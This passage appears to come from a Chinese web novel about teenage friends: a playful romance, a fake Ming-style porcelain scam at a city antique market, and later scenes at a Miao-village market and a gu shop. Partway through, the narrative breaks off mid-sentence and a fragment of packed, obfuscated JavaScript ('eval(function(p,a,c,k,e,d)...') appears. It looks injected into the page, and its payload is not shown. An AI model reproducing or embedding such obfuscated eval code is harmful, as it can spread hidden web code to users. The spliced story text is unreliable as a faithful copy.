另一边，许祭和沈司南正慢慢往沈家走，刚才的一幕恰好落进许祭眼里。他忽然停下脚步，转头看向身侧的沈司南，学着司徒洁的模样，也攥了攥衣角，声音软乎乎的，带着点刻意模仿的认真：“沈司南，我喜欢你！” 沈司南闻言一愣，随即低笑出声，伸手揉乱了他的头发：“学什么不好，学人家表白？” 许祭拍开他的手，脸颊微微发烫，却仰着头不肯移开目光：“我是认真的！” 风从巷尾吹过来，带着糖葫芦的甜，把两个少年的对话，吹得轻飘飘的。 巷口的灯笼刚亮起暖黄的光，绫司司就扒着自家院门探出半个脑袋，看见许祭红着脸跟沈司南较真的模样，当即笑得直拍门框。 “许祭你也太逗了！”她叉着腰喊出声，眉眼弯成了月牙，“学司徒洁表白就算了，连攥衣角的小动作都一模一样，你要不要这么夸张啊！” 许祭的脸瞬间更红了，梗着脖子瞪她：“要你管！” 沈司南在一旁笑得弯腰，拍了拍许祭的肩膀：“听见没，被笑话了。” 绫司司笑得更欢了，连带着上官渡也忍不住弯了弯唇角，晚风卷着笑声，在巷子里荡出一圈又一圈的暖意。 许祭的脸腾地红透了，跺了跺脚，抓起路边的一把草就朝着绫司司扔过去：“笑什么笑！不许笑！” 绫司司早有防备，哧溜一下躲到上官渡身后，探出头来冲他做鬼脸：“就笑就笑！许祭害羞啦！许祭脸红啦！” 许祭气鼓鼓地追上去，沈司南在后面笑着起哄，上官渡也忍不住弯着腰笑，伸手拦了拦闹得凶的许祭：“别闹别闹，司司逗你呢。” 可许祭哪里肯罢休，绕开上官渡，追着绫司司在巷子里跑。暖黄的灯笼光把四个少年的影子拉得老长，笑声混着晚风，在青石板路上撞来撞去，甜得像刚咬开的糖葫芦。 夜色渐沉，巷口的灯笼把影子拉得忽长忽短，许祭和沈司南落在最后头，慢悠悠地踩着青石板往前走。 前面上官渡和绫司司还在追着打闹，笑声飘得老远。许祭忽然停下脚步，盯着沈司南的侧脸看了半晌，趁着他转头去看巷尾的猫时，踮起脚尖，飞快地在他脸颊上啄了一下。 软乎乎的触感一触即分，带着晚风的凉意和桂花糕的余甜。 沈司南僵在原地，手还停在半空中，转头看向许祭时，眼底满是错愕。 许祭的耳朵尖瞬间红透，却梗着脖子，故作镇定地哼了一声：“谁说好朋友不能亲了？” 风卷着灯笼的光晕晃了晃，把两个少年的心跳声，都藏进了朦胧的夜色里。 打闹的动静渐渐歇了，上官渡拉着绫司司靠在巷口的老槐树旁，望着沈司南和许祭并肩走远的背影，两人的影子被灯笼 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巷子里的喧闹还没散去，一个穿白衬衫的男生忽然从槐树后面走出来，手里攥着一封折得整整齐齐的信，脸涨得通红，径直走到上官渡面前。 “上官渡，我……我喜欢你！”男生的声音带着点紧张的颤抖，把信往前递了递，“这是我写的信，你能不能……能不能看看？” 上官渡愣在原地，手里还捏着半块麻花，一时间竟不知道该作何反应。 旁边的绫司司瞬间来了精神，比当事人还激动，扯着嗓子喊：“哇！渡渡你也太抢手了吧！昨天司徒洁今天又来一个，桃花运爆棚啊！” 许祭和沈司南也看了过来，许祭还悄悄碰了碰沈司南的胳膊，小声嘀咕：“你看你看，又有人跟她表白了。” 正闹着，巷口忽然走来个穿白裙子的女生，手里捏着支粉白的月季，步子迈得又轻又慢，径直走到沈司南面前，脸颊红得像浸了蜜的山楂。 “沈司南，”她声音软得像棉花，把月季往前递了递，“我叫纪栖乐荟，我喜欢你好久了。” 沈司南愣了愣，刚想开口，旁边的绫司司已经先一步扭头看向许祭，胳膊肘轻轻撞了撞他，眉眼弯成了促狭的月牙，语气里满是调侃：“哟，许祭，有人跟你家司南哥表白啦，还不快上？” 许祭的脸“唰”地红透，攥着麻花的手指猛地收紧，抬脚就去踹绫司司的鞋尖：“胡说什么呢！” 巷子里的笑声又炸开了，晨光晃得人睁不开眼，连带着那支粉白的月季，都染上了几分热闹的甜意。 许祭猛地往前跨了一步，挡在沈司南身前，脸颊还泛着红，眼神却亮得惊人，梗着脖子冲纪栖乐荟扬起下巴：“要表白也是我先！” 这话一出，巷子里瞬间安静了半秒，随即爆发出更响亮的笑声。绫司司笑得直不起腰，拍着上官渡的肩膀喊：“我就知道！我就知道！” 沈司南又惊又窘，伸手去拉许祭的胳膊，耳根都红透了：“你闹够了没有！” 许祭却不肯退，攥着拳头瞪着纪栖乐荟，活像只护食的小兽。那穿白裙子的女生愣了愣，随即“噗嗤”一声笑了出来，把月季往沈司南手里一塞：“行，那我让给你。”说完，转身踩着晨光跑远了。 巷子里的笑声渐渐低了下去，晨光落在许祭泛红的耳尖上，他攥着拳头的手松了松，又紧紧握住，眼神里的慌乱褪去，只剩下执拗的认真。 他转过身，直直看向沈司南，声音不大，却字字清晰，撞碎了巷子里的寂静：“沈司南，我刚才不是闹着玩的。” 许祭深吸一口气，胸口微微起伏，目光胶着在沈司南脸上，把藏了许久的话一字一句说出来：“我喜欢你，不是朋友的那种喜欢，是想和你一起吃很多次糖葫芦，一起放很多次风筝，一直一直在一起的那种喜欢。” 风停了，槐树叶一动不动，上官渡和绫司司也屏住了呼吸。沈司南怔怔地看着他，眼里的错愕慢慢化开，染上了一层说不清道不明的柔软，连耳根都悄悄红了。 沈司南望着许祭泛红的眼眶和紧绷的下颌线，先前的错愕慢慢化作眼底的笑意，他往前一步，伸手轻轻揉了揉许祭的头发，指尖带着温热的触感。 “笨蛋，”他的声音低柔得像晚风拂过槐树叶，“我等你这句话，等了好久了。” 许祭猛地抬起头，眼睛亮得像盛了满巷的灯笼光，鼻尖微微发酸，却硬是憋住了眼泪，梗着脖子问：“真的？” “真的。”沈司南笑着点头，伸手牵住他的手腕，掌心相贴的温度烫得许祭心跳漏了一拍。 旁边的绫司司早就憋不住了，拽着上官渡的胳膊跳起来欢呼：“我就说他俩成了吧！” 巷子里的风又开始吹了，带着晨光的暖，把少年人的心事，吹得甜丝丝的。 绫司司扒着上官渡的胳膊，望着沈司南牵着许祭走远的背影，啧啧出声，语气里满是看热闹的揶揄：“不亏是蛊王，就是蛊人啊！” 上官渡忍不住笑出声，顺着她的目光看过去，只见许祭被沈司南牵着，耳尖红得快要滴血，却偷偷勾了勾对方的手指。 巷子里的晨光晃得人暖洋洋的，连带着少年人的心事，都变得明晃晃的甜。 10. 古董市 绫司司攥着刚取的两千块现金，指尖被纸币磨得发潮。城南的古董市藏在老巷深处，青石板路被踩得油亮，两侧摊位上的铜器、瓷片、旧书堆得像小山，摊主们摇着蒲扇，眼神半眯半睁，像揣着无数秘密。 她是冲着一只霁蓝釉瓷瓶来的。昨天在摊主老周的朋友圈里见过，瓶身莹润得像浸过月光，落款是“成化年制”。老周说这是他乡下亲戚拆老宅时翻出来的，急着出手换给儿子交学费，开价两千，一分不多。 挤过几个蹲在地上挑铜钱的老头，绫司司一眼就看到了那只瓷瓶，摆在摊位最显眼的位置，蓝得晃眼。她蹲下身，指尖刚碰到瓶身，就被老周按住了手。“姑娘轻点，这宝贝娇气。”老周的声音压低，带着点故作神秘的谨慎，“我跟你说，这可是真家伙，前儿个有个行家来看过，出到三千我都没卖，看你是真心喜欢，才给你这个价。” 绫司司的心怦怦跳。她刚入古董坑半年，看过几本鉴定的书，知道霁蓝釉存世量少，尤其是成化年间的，更是珍品。她凑到瓶口闻了闻，有股淡淡的土腥味，像是刚从地里挖出来的。又摸了摸瓶底的落款，字迹清晰，笔画圆润，和书里写的一模一样。 “能不能再便宜点？”她强装镇定，按着兜里的钱。 老周叹口气，像是下了很大决心：“姑娘，我这真是亏本卖了。这样，你再加一百，我送你一个清代的铜墨盒，也算交个朋友。” 绫司司咬咬牙，点头了。两千一，她把兜里的钱全掏了出来，数给老周。老周麻利地把瓷瓶和一个锈迹斑斑的铜墨盒塞进布袋子里，递给她时还不忘叮嘱：“回去好好收着，过个三年五载，保准翻十倍。” 她抱着布袋子，像抱着个烫手的宝贝，脚步都轻飘飘的。走出老巷，阳光晃得她睁不开眼，她找了个树荫，迫不及待地把瓷瓶拿出来细看。 就在这时，一个背着帆布包的老头路过，瞥了一眼她手里的瓷瓶，突然停下脚步。“姑娘，这瓶子哪儿买的？” 绫司司心里一喜，以为遇到了懂行的，忙说：“就在前面的古董市，说是成化年间的霁蓝釉。” 老头嗤笑一声，蹲下身，手指在瓶身上轻轻敲了敲。“你听听这声音。” “咚——”一声闷响，像敲在空心的砖头上。 “真正的霁蓝釉瓷瓶，胎质细密，敲起来声音清脆，像玉石碰撞。”老头又摸了摸瓶底的落款，“这字是印上去的，不是手写的，你看这边缘，多规整，老瓷的款识哪有这么周正？还有这土腥味，是用茶叶水和泥土泡出来的，骗骗新手还行。” 绫司司的脸“唰”地白了。她慌慌张张地拿出手机，打开鉴定的APP，对着瓷瓶扫描。屏幕上跳出一行字：现代仿品，市场价不超过五十元。 她又去看那个铜墨盒，抠开盖子，里面刻着的“光绪年制”歪歪扭扭，边缘的锈迹用指甲一刮就掉，露出里面亮闪闪的黄铜色——哪里是什么清代老物件，分明是电镀的假货。 风一吹，树叶沙沙响。绫司司抱着那个轻飘飘的瓷瓶，站在树荫下，看着巷口来来往往的人，突然觉得手里的瓶子沉得像块石头。老周那半眯半睁的眼神，那故作神秘的语气，此刻全变成了嘲讽的笑脸。她攥着布袋子的手指用力，指节泛白，两千一，她半个月的工资，就这么打了水漂。 巷子里传来摊主的吆喝声，阳光依旧明媚，可绫司司觉得，那片藏着无数“宝贝”的古董市，突然变得灰蒙蒙的，像一场醒不过来的骗局。 绫司司蹲在老周的摊位前，手指反复摩挲着那个霁蓝釉瓷瓶的瓶底，眉头拧得死紧。她昨天才刚和许祭吐槽过，说自己最近迷上了古董，想买个像样的物件练练手，今天就栽了这么大个跟头。 老周还在旁边唾沫横飞地辩解：“姑娘，这真不是假货！你要是不信，我带你去找行家鉴定！” 绫司司咬着唇，眼眶泛红。她不是心疼钱，是觉得憋屈，更怕被许祭知道了，又要笑她毛躁。正僵持着，肩膀突然被人拍了一下。 “怎么了这是？” 熟悉的声音响起，绫司司回头，看见许祭拎着个帆布包站在身后，穿着件简单的白T恤，牛仔裤上沾着点灰尘，和平时约着去吃火锅的样子没两样。 “许祭？你怎么在这儿？”绫司司有点慌，下意识地把瓷瓶往身后藏了藏。 许祭的目光扫过摊位上的瓷瓶，又落在老周脸上，眉头挑了挑：“我来这儿淘几本旧书。你买的？” 老周见来了帮手，赶紧凑上来：“这位小兄弟，你评评理！我这瓶子明明是成化年间的真品，她非说是假货，还想退钱……” “哦？成化年间的霁蓝釉？”许祭弯腰，拿起瓷瓶，指尖在瓶身上轻轻敲了敲，发出一声闷响。他又翻过来，看了看瓶底的落款，嘴角勾起一抹似笑非笑的弧度，“周老三，你这仿品的手艺，比上次那个青花碗还差了点意思。” 老周的脸“唰”地一下白了，眼神里满是惊恐，说话都结巴了：“你、你怎么知道我的名字？” 许祭没理他，把瓷瓶扔回摊位上，发出“哐当”一声响。他掏出手机，不知道拨了个什么号码，语气平淡：“是我，老巷三号摊位，周老三，欺客，按规矩办。” 挂了电话，他转头看向绫司司，伸手揉了揉她的头发，语气无奈：“不是跟你说过，买东西之前先拍给我看看？” 绫司司愣住了，看着老周惨白的脸和颤抖的手，又看看眼前的许祭，脑子里一团乱麻。她认识许祭快一年了，只知道他是个自由职业者，平时喜欢逛逛旧书市，性格随和，怎么这会儿…… 没等她想明白，两个穿着制服的人就走了过来，径直走到老周面前，亮出证件：“周建军，有人举报你在古董市售卖假冒伪劣商品，跟我们走一趟。” 老周腿一软，差点瘫在地上，被两人架着往外走时，还不忘回头冲许祭哀求：“许二哥，我错了，我再也不敢了……” 许二哥？ 绫司司猛地看向许祭，眼睛瞪得溜圆。 许祭摸了摸鼻子，有点不自在地避开她的目光：“咳，这事儿说来话长。” 周围的摊主们早就围了过来，见老周被带走，纷纷凑上来跟许祭打招呼，一口一个“许二哥”，语气里满是恭敬。绫司司这才反应过来，难怪每次她来古董市，许祭总能精准地推荐几家靠谱的摊位，难怪他随口说的几句鉴定技巧，比书里写的还管用。 她气鼓鼓地踢了踢许祭的小腿：“好啊你，居然瞒着我！” 许祭笑着投降，从兜里掏出一沓钱递给她——是老周刚才偷偷塞给他的，足足四千二。“赔给你的，双倍。”他把钱塞到绫司司手里，又拿起那个铜墨盒，看了一眼就扔了，“这电镀的玩意儿，扔了都嫌占地方。” 绫司司攥着钱，心里又气又暖。她看着许祭被摊主们围着打招呼的样子，突然觉得，自己这个朋友，好像藏着很多她不知道的秘密。 “回去请我吃火锅，”许祭走过来，拎起她的布袋子，“就当赔罪。” 绫司司哼了一声，嘴角却忍不住上扬：“火锅要加两份毛肚！” 苗寨的古董市还浸在晨雾里，吊脚楼的飞檐挂着露珠，青石板路踩上去咯吱响。许祭刚把一叠苗绣纹样摆上自己的固定摊位，沈司南就揣着手踱了过来，目光扫过周围摊主递来的热糍粑和打招呼的笑脸，挑了挑眉。 “说真的，”沈司南往木架上一靠，下巴点了点这片黄金位置，“前几天你帮绫司司在城南古董市出头，我就觉得不对劲。今儿个到苗寨，你居然也有这么个好摊位，你小子到底藏了多少身份？” 许祭正低头拂去一块老银锁上的灰尘，闻言动作顿了顿，抬眼笑了笑：“哪有什么身份，不过是守点规矩罢了。” 他把银锁放下，指了指不远处正在教老乡辨银饰的老匠人：“三年前第一次来苗寨，撞见个外地贩子用镀银的假货，换走了阿婆传了三代的苗绣嫁衣。那嫁衣上的打籽绣，一针一线都是老手艺，差点被那贩子带出寨当破烂卖。” 沈司南挑眉，没吭声。 “我帮阿婆把嫁衣追了回来，又留下来半个月，帮寨里人整理那些老物件，教他们怎么看包浆、辨纹路，别再被外人坑了。”许祭拿起块靛蓝绣片，指尖摩挲着上面的蝶纹，“城南古董市那边也是，早年看不得那些摊主欺负新手，帮着定了几条规矩，时间长了，大家也就认我了。” “所以绫司司那次，”沈司南恍然大悟，“你不是碰巧路过，是特意去帮她的？” 许祭没承认也没否认，只是弯腰把绣片摆得更整齐些：“她那性子，买古董只看故事不看货，不看着点，早晚得把家底赔进去。” 说话间，刚晨练完的绫司司拎着两袋豆浆走了过来，远远就喊：“许祭！沈司南！你们俩又聊什么呢？快趁热喝！” 她走到摊位前，瞥见那块蝶纹绣片，眼睛一亮，伸手就想去碰，被许祭轻轻拍了下手：“小心点，这绣片脆得很。” 绫司司吐吐舌头，把豆浆递给他，转头冲沈司南做了个鬼脸：“别听他瞎嘚瑟，他就是嘴硬心软。上次我被骗，他嘴上骂我笨，转头就带我去把钱要回来了。” 沈司南看着两人拌嘴的样子，忍不住笑了。原来哪有什么特殊身份，不过是有人愿意守着点公道，护着点身边人罢了。晨雾渐渐散了，阳光落在绣片上，泛着温柔的光。 晨雾彻底散了，阳光把苗寨古董市照得透亮，绫司司蹲在许祭的摊位前，手指无意识地抠着青石板缝里的青苔，越想越觉得憋屈。 刚才沈司南接了个电话，转身跟老乡用流利的苗语聊了几句，那熟稔的架势，哪是什么采风的摄影师，分明就是寨里人常提起的蛊王——难怪上次她被毒虫咬了，沈司南随便摘片叶子捣烂敷上，第二天就消肿了。再看许祭，城南古董市的二把手，苗寨集市的黄金摊位得主，连最挑剔的老银匠都对他客客气气。 两人一个蛊王，一个古董圈的话事人，个个都藏着厉害身份。 绫司司猛地站起身，气鼓鼓地叉着腰，瞪着正在低头整理绣片的许祭和倚着木架看热闹的沈司南，声音里带着点懊恼的鼻音：“你们俩也太不够意思了！一个个都有这么牛的身份，瞒着我就算了，还天天看我笑话！” 她越说越委屈，脚尖踢了踢摊位腿：“沈司南是蛊王，能驱虫能辨药，许祭你是古董市二把手，能鉴宝能撑腰，再看看我呢？我是什么？我就是个连霁蓝釉仿品都看不出来的笨蛋，是个逛古董市一踩一个坑的倒霉蛋！” 许祭手里的动作一顿，抬头看她，眼底藏着笑意：“谁说你是笨蛋？” 沈司南也忍不住笑出声，慢悠悠地晃过来，伸手揉了揉她的头发：“你忘了？上次我们俩去山里找草药，是谁凭着直觉找到的野生金线莲？要不是你，那味药引子还不知道要找多久。” 许祭跟着点头，拿起那块靛蓝蝶纹绣片递到她面前：“还有这个，昨天你一眼就看出这绣片的针法和别处不一样，说这蝴蝶翅膀上少了一针‘锁魂绣’，连老银匠都夸你眼光毒。” 绫司司愣住了，下意识地接过绣片，指尖拂过蝶翼的针脚，果然有一处细微的空缺，那是她昨天随口提的一句，没想到他们都记着。 “可……可这也不算什么厉害的身份啊。”她小声嘀咕，还是有点不甘心。 许祭看着她耷拉着的脑袋，突然笑了，伸手弹了弹她的额头：“身份哪有那么重要？你是绫司司，是能一眼看出绣片破绽的绫司司，是会把我们俩的火锅毛肚都抢光的绫司司，这就够了。” 沈司南跟着附和，从兜里摸出个用红绳系着的小银铃递给她：“喏，蛊王送你的护身符，保你以后逛古董市再也不被骗。” 绫司司捏着那枚冰凉的银铃，看着两人笑意盈盈的样子，心里的懊恼瞬间散了大半，她哼了一声，把银铃揣进兜里，又伸手去抢许祭手里的绣片：“那这个绣片归我了！以后我要跟着你们学鉴宝学辨蛊，早晚也混个厉害的身份！” 阳光落在她气呼呼的脸上，映得那双眼睛亮闪闪的，像藏着整片星空。 绫司司捏着那枚银铃，绳结缠了两圈才牢牢系在手腕上，走路时铃铛轻响，倒成了个新鲜的小玩意儿。她跟在许祭和沈司南身后，在苗寨古董市的摊位间晃悠，眼睛却比往日亮了几分，时不时蹲下身，学着许祭的样子敲敲瓷瓶、摸摸绣片，嘴里还念念有词。 正逛到集市尽头的一个临时摊位前，摊主是个操着外地口音的中年男人，正唾沫横飞地对着几个游客吹嘘：“看看这苗银项圈！正宗的百年老物件，我爷爷传下来的，上面刻的是苗家的护崽纹，戴在身上能辟邪！” 那项圈黑沉沉的，上面刻着歪歪扭扭的纹路，看着确实有些年头。几个游客被说动了心，正准备掏钱，绫司司却突然皱起了眉。 她想起许祭教过的，老苗银因为常年佩戴，表面会形成一层温润的包浆，而眼前这项圈，黑得过分均匀，倒像是刻意做旧的。 她犹豫了一下，还是走上前，指着项圈问：“老板，这纹路看着有点奇怪啊，我之前在寨里阿婆那儿见过的护崽纹，好像不是这样的。” 摊主脸色一沉，瞪了她一眼：“小姑娘懂什么！苗家纹样多了去了，你见过的才几种？” 许祭和沈司南也走了过来，许祭扫了眼项圈，没说话，沈司南却突然伸手，指尖在项圈的缝隙里擦了一下，指腹上沾了点黑灰色的粉末。 “做旧用的火漆灰，”沈司南晃了晃手指，语气平淡，“真正的老苗银，缝隙里藏的是经年累月的汗渍和油脂，可不是这玩意儿。” 摊主的脸瞬间白了，梗着脖子狡辩：“你胡说！这就是老物件！” 就在这时，绫司司手腕上的银铃突然轻轻震动了一下，发出一阵细碎的响声。她愣了愣，想起沈司南说过，这银铃里淬了点淡淡的驱虫蛊，对劣质金属和化学做旧剂会有感应。 她心里一下子有了底，索性学着许祭的样子，伸手敲了敲项圈。 “咚——”一声闷响，和上次那个假瓷瓶的声音一模一样。 “真正的老苗银，质地软，敲起来声音是哑的但不闷，”绫司司挺直脊背，声音清亮，“你这是白铜镀银，用化学药水泡出来的假包浆，骗骗外行还行！” 她顿了顿，又指着项圈上的纹路：“还有这护崽纹，苗家正宗的纹路是首尾相连的，你这断了三截，明显是照着图片刻的！” 周围的游客哗然，纷纷往后退，对着摊主指指点点。摊主见势不妙，慌忙收拾东西，想趁乱溜走，却被闻讯赶来的寨里管事拦住了——许祭早就悄悄给管事递了眼色。 看着摊主被带走，绫司司松了口气，低头看着手腕上的银铃，忍不住笑了。 许祭走过来，拍了拍她的肩膀，眼底满是赞许：“行啊绫司司，出师了。” 沈司南也笑着挑眉：“怎么样？现在觉得自己没身份吗？” 绫司司晃了晃手腕，银铃叮当作响，她扬起下巴，眉眼弯弯：“我是绫司司，是能识破假货的绫司司！” 苗寨古董市的日头正盛，绫司司攥着刚淘来的老银簪，正蹲在摊位前跟老乡讨价还价，没留神脚下的青石板打滑，整个人往前踉跄了一步，手里的银簪“啪”地撞在旁边一个紫檀木盒上。 那木盒看着就价值不菲，雕花繁复，此刻盒盖被撞得弹开，里面躺着一枚羊脂玉扳指，滚落在青石板上，磕出了一道细如发丝的痕。 周围的喧闹瞬间静了半分。 一个穿着绸缎马褂的中年男人沉着脸走过来，身后跟着两个黑衣保镖，他捡起玉扳指，指尖拂过那道划痕，脸色更沉了：“小姑娘，走路都不看路的？这扳指是我好不容易从藏家手里收来的，你说怎么赔？” 这人是城里来的古董大老板，姓金，据说手眼通天，在古玩圈里是说一不二的人物。 绫司司的脸唰地白了，她没想到自己撞坏的是这么贵重的东西，嘴唇哆嗦着：“对、对不起，我不是故意的……” 金老板冷笑一声，声音带着威压：“不是故意的？这扳指市价少说六位数，你一句对不起就想算了？” 围观的人越来越多，议论声此起彼伏，绫司司的眼眶红了，手足无措地站在原地，眼泪差点掉下来。 就在这时，沈司南慢悠悠地挤了进来，手里还捏着片刚摘的薄荷叶。他走到绫司司身边，轻轻拍了拍她的后背，又转向金老板，脸上挂着漫不经心的笑：“金老板，消消气。” 他弯腰捡起那枚玉扳指，指尖在划痕处轻轻摩挲了两下，语气轻松：“这道痕看着吓人，其实只是蹭破了点表皮。苗寨后山有种‘无痕草’，捣烂了敷上，不出三日，这痕迹就能淡得看不见，跟新的一样。” 金老板皱着眉：“你唬我？” “我哪敢唬金老板。”沈司南笑了笑，从兜里掏出个小瓷瓶，倒出一点墨绿色的药膏，“这是我用无痕草炼的药膏，你先试试。要是没用，我沈司南在古玩圈的名号，任你处置。” 他的名头在圈里也有些分量，金老板盯着他手里的药膏，脸色缓和了些许，却还是没松口：“就算痕能消，我这扳指平白无故被磕了，这事也不能就这么算了。” 一直没吭声的许祭这时走了过来，手里拎着个锦盒。他冲金老板拱了拱手，语气诚恳：“金老板，司司年纪小，毛手毛脚的，是我没看好她，您多担待。” 他把锦盒递过去：“这是我前阵子在寨里收的一枚明代鸡血石印章，品相上乘，算是我替她赔罪的。您看，这事能不能就这么揭过？” 金老板打开锦盒，看见里面的鸡血石印章，血色鲜艳，纹路流畅，显然是件难得的珍品。他沉默了几秒，瞥了眼沈司南手里的药膏，又看了看许祭，最终松了口：“罢了，看在许二和沈老弟的面子上，这事就算了。” 沈司南立刻把药膏递过去：“金老板爽快，这药膏您收好，保管有用。” 许祭也跟着赔笑：“改日我做东，请金老板喝杯酒，算是赔罪。” 金老板点点头，没再多说，带着人转身走了。 围观的人散了，绫司司才憋不住，眼泪啪嗒啪嗒掉下来：“都怪我……” 许祭叹了口气，伸手揉了揉她的头发，声音温和：“没事了，哭什么。下次走路看着点，别再毛毛躁躁的。” 沈司南把薄荷叶塞进她手里：“喏，擦擦眼泪，多大点事。回头我带你去采无痕草，学学怎么炼药膏，也算多门手艺。” 绫司司攥着薄荷叶，看着两人的背影，心里的委屈慢慢散了，只剩下满满的暖意。 苗寨古董市的人声裹着草药香漫过来，梨霄宫踩着素色绣鞋，手里挽着上官渡的胳膊，眉眼弯弯地在摊位间穿梭。两人特意来寻绫司司，许祭昨儿捎了信，说他们仨在苗寨淘老物件，让她俩也来凑个热闹。 梨霄宫生得极惹眼，一身月白旗袍衬得身姿窈窕，鬓边簪着支羊脂玉簪，走在路上，回头率高得惊人。身侧的上官渡也是女子，却偏爱一身挺括的青色长衫，手里摇着把竹骨折扇，眉眼温润，腕间悬着串墨玉手串，身形清瘦挺拔，乍一看竟像个俊朗的江南公子，没几个人能看出她的女儿身。 刚走到集市中段，几个流里流气的外地汉子就围了上来。为首的叼着烟，眼神黏在梨霄宫身上，笑得不怀好意：“哟，这姑娘长得可真俊，是来逛集市的？哥几个带你去看些好东西，保准稀罕。” 说着，那汉子就伸手想去碰梨霄宫的肩膀。 梨霄宫眉头一蹙，侧身躲开，语气冷了几分：“请自重。” 那汉子碰了个空，非但没收敛，反而笑得更放肆：“装什么清高？来这种地方，不就是图个乐子？”身后的跟班跟着起哄，围得更紧了，周围摊主想劝，又怕惹麻烦，只能远远看着。 上官渡收了折扇，上前一步将梨霄宫护在身后，眉眼依旧温和，语气却带着不容置疑的力道：“我家阿霄不喜生人靠近，还请几位让开。” “我家阿霄？”为首的汉子嗤笑一声，上下打量着上官渡，“小白脸一个，也敢管爷的事？识相的赶紧滚，别耽误哥几个找乐子。” 说着，他抬手就往上官渡脸上推去。 就在他的手快要碰到上官渡的瞬间，上官渡手腕一翻，折扇“唰”地展开，精准敲在那汉子的手腕上。那汉子疼得“嗷”一嗓子，手猛地缩回去，脸上的嚣张瞬间变成错愕。 梨霄宫站在上官渡身后，玉簪的尖端正对着那汉子的方向，眼神冷冽：“我们不想惹事，但也不怕事。” 那汉子缓过劲来，恼羞成怒，挥着拳头就往上官渡身上砸：“小子，你找死！” 周围的人惊呼出声，眼看拳头就要落下来，突然听见一声冷喝：“住手！” 许祭和沈司南挤开人群走过来，绫司司跟在后面，手里还攥着个刚淘的小银锁。许祭扫了那几个汉子一眼，眼神沉得吓人：“在苗寨的地盘上撒野，问过我了吗？” 周围摊主见状，纷纷附和：“就是！这是许二哥的地界，你们也敢闹事！” 那几个汉子这才认出许祭，脸色唰地白了。他们来苗寨前就听过许祭的名头，知道这人是古董市的话事人，惹不起。为首的汉子强撑着放了句狠话：“算、算我们晦气！”说完，就带着跟班灰溜溜挤开人群跑了。 梨霄宫松了口气，拍了拍胸口，转头对上上官渡的目光，忍不住笑了：“还是你厉害，刚才那一下，帅呆了。” 上官渡收起折扇，替她理了理鬓边的碎发，语气温柔：“有我在，没人能欺负你。” 绫司司凑过来，拉着梨霄宫的胳膊兴奋地晃了晃：“霄宫姐！你们可算来了，我跟你说，我今天还识破了一个假货骗局呢！” 日头偏西的时候，绫司司指着集市拐角处的竹楼，嚷嚷着要去买苗寨的特色蜜饯。一行人顺着青石板路拐过去，就看见那竹楼外挂着块黑底金字的招牌，写着**“阿术蛊铺”**，檐下挂着的草药束随风轻晃，混着一股甜香。 刚走到门口，一个穿着蜡染布衣的女人就掀帘走了出来。她约莫二十七八岁的年纪，眉眼带着点野性的俏，手腕上缠着红绳，绳上系着个装着蛊虫的小竹管，走起路来，竹管轻轻碰撞，发出细碎的声响。 “几位是来买蜜饯，还是来寻蛊的？”女人笑着开口，声音像山涧的清泉，脆生生的。 许祭挑眉，率先开口：“阿术老板娘，好久不见。” 阿术眼睛一亮，认出了他，笑着拍了下手：“原来是许二哥，稀客稀客。这位就是你信里提过的绫司司姑娘吧？”她的目光落在绫司司身上，又扫过梨霄宫和上官渡，最后停在沈司南身上，意味深长地笑了笑，“沈蛊王也在，今日倒是蓬荜生辉。” 沈司南挑眉，晃了晃手里的薄荷叶：“老板娘的蜜饯，比你那些蛊虫更合我胃口。” 梨霄宫饶有兴致地打量着竹楼里的陈设，架子上摆着各色装着蛊虫的竹管，还有些贴着苗语标签的陶罐。上官渡则注意到檐下挂着的草药束，轻声道：“这些是用来炼无痕草药膏的辅材？” 阿术闻言，看向她的目光多了几分赞许：“姑娘好眼力。看来许二哥身边，尽是懂行的人。” 绫司司好奇地凑到架子前，盯着一个装着金色小虫的竹管，小声问：“这是什么蛊呀？看起来好漂亮。” “这是守财蛊，”阿术走过来，声音压低了些，“放在钱匣子里，能防贼，还能让财运旺一点。”她顿了顿，又笑着补充，“不过对姑娘没用，你有许二哥和沈蛊王护着，哪里用得着这个。” 绫司司的脸唰地红了，刚想反驳，就听见梨霄宫笑着说：“老板娘倒是通透，不如给我们每人包一份蜜饯，再送我们几根无痕草？” “好说。”阿术爽快应下，转身进了屋，“蜜饯管够，无痕草也送你们，不过得帮我个小忙——我刚收了个清代的铜熏炉，许二哥帮我掌掌眼。” 许祭笑着应了声好，一行人跟着阿术进了竹楼，檐下的草药束轻轻摇晃，阳光透过竹缝洒进来，落在地上，碎成一片斑驳的金。 竹楼里的光线偏暗，窗棂上糊着苗家织的花布，风一吹，布帘轻轻晃，漏进几缕金红的夕照。阿术从里屋搬出个红木箱子，小心翼翼地打开，里面垫着青色的绸缎，躺着一只铜熏炉。 那熏炉巴掌大小，炉身刻着缠枝莲纹，纹路细密，炉盖是镂空的云纹，提梁弯成了如意的形状，看着确实有些年头。阿术把它捧出来，放在桌上，指尖轻轻拂过炉身的铜锈：“前儿个寨里的老人拿来抵药钱的，说是祖上传下来的，我瞧着喜欢，却拿不准年份。” 许祭走过去，弯腰凑近了看。他没急着上手，先借着光打量炉身的包浆——那层包浆温润透亮，带着点暗红色的光泽，不是化学药水能泡出来的。随后他才伸出手，指尖在缠枝莲纹的纹路里轻轻摩挲，又掂了掂熏炉的重量，眉头慢慢舒展开来。 “这是清中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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竹楼里的蜜饯甜香正浓，阿术刚把无痕草塞进许祭手里，里屋的布帘就被轻轻掀了起来。 一个穿着水绿色苗裙的小姑娘探出头来，梳着双丫髻，鬓边簪着朵淡紫色的野蔷薇，眉眼和阿术有几分相像，却更显娇憨。她手里还捏着半块糯米糕，看见许祭的瞬间，眼睛倏地亮了亮，嘴里的糕差点没咽下去。 “姐，”小姑娘的声音软乎乎的，带着点怯生生的调子，脚步却没停，几步就蹭到了阿术身边，偷偷抬眼打量许祭，“这位就是你说的许二哥？” 阿术失笑，伸手揉了揉她的头发：“这是我妹妹阿芷，整天就知道躲在屋里绣帕子。” 阿芷的脸唰地红了，攥着糯米糕的手指都有些发紧，目光却还是黏在许祭身上，看他穿着洗得发白的棉布衬衫，看他指尖捏着的无痕草，看他说话时温和的眉眼，连他腰间挂着的铜钱串，都觉得晃眼得很。 许祭也注意到了这个小姑娘，笑着点了点头：“你好，我是许祭。” 这一声问候，让阿芷的脸更红了，她飞快地低下头，小声应了句“许二哥好”，声音细得像蚊子哼。 旁边的绫司司看得眼睛都弯了，偷偷拽了拽沈司南的袖子，用口型说：“你看你看，有情况。” 